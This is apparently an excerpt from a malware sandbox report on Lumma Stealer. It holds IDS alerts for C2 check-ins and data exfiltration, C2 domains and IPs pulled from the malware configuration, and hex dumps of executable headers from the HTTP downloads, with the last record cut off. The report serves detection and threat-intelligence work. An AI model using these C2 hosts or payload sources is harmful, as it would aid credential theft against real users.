Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:58195 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:58208 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:58247 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58208 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58247 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58254 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:58252 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:58248 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58248 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:58253 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:58206 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:58206 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: dilemmadu.site
Source: Malware configuration extractor	URLs: servicedny.site
Source: Malware configuration extractor	URLs: contemteny.site
Source: Malware configuration extractor	URLs: seallysl.site
Source: Malware configuration extractor	URLs: goalyfeastz.site
Source: Malware configuration extractor	URLs: opposezmny.site
Source: Malware configuration extractor	URLs: faulteyotk.site
Source: Malware configuration extractor	URLs: authorisev.site
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:45:26 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:45:34 GMTContent-Type: application/octet-streamContent-Length: 1886208Last-Modified: Wed, 30 Oct 2024 10:22:42 GMTConnection: keep-aliveETag: "672208f2-1cc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 e8 3c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 3c 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 3b 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 69 63 79 6e 77 70 67 00 b0 19 00 00 90 31 00 00 ae 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 76 6a 6f 79 6a 64 00 10 00 00 00 40 4b 00 00 04 00 00 00 a2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4b 00 00 22 00 00 00 a6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:46:36 GMTContent-Type: application/octet-streamContent-Length: 2985472Last-Modified: Wed, 30 Oct 2024 10:22:21 GMTConnection: keep-aliveETag: "672208dd-2d8e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 14 af 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 7a 63 73 78 6c 72 78 00 e0 2a 00 00 b0 05 00 00 d4 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 72 68 69 63 6f 64 71 00 10 00 00 00 90 30 00 00 04 00 00 00 68 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 30 00 00 22 00 00 00 6c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:46:46 GMTContent-Type: application/octet-streamContent-Length: 2125824Last-Modified: Wed, 30 Oct 2024 10:22:36 GMTConnection: keep-aliveETag: "672208ec-207000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 70 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 72 00 00 04 00 00 bc d6 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 73 71 71 68 6b 77 6e 00 c0 19 00 00 a0 58 00 00 c0 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 64 67 67 74 66 68 6f 00 10 00 00 00 60 72 00 00 04 00 00 00 4a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 72 00 00 22 00 00 00 4e 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:46:56 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 10:42:19 GMTConnection: keep-aliveETag: "67220d8b-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0d 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 e7 ec 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:47:01 GMTContent-Type: application/octet-streamContent-Length: 2895872Last-Modified: Wed, 30 Oct 2024 10:42:46 GMTConnection: keep-aliveETag: "67220da6-2c3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 62 6e 66 78 72 73 75 00 e0 2b 00 00 a0 00 00 00 ce 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6a 63 65 74 79 69 6d 00 20 00 00 00 80 2c 00 00 06 00 00 00 08 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 0e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 10:47:02 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a 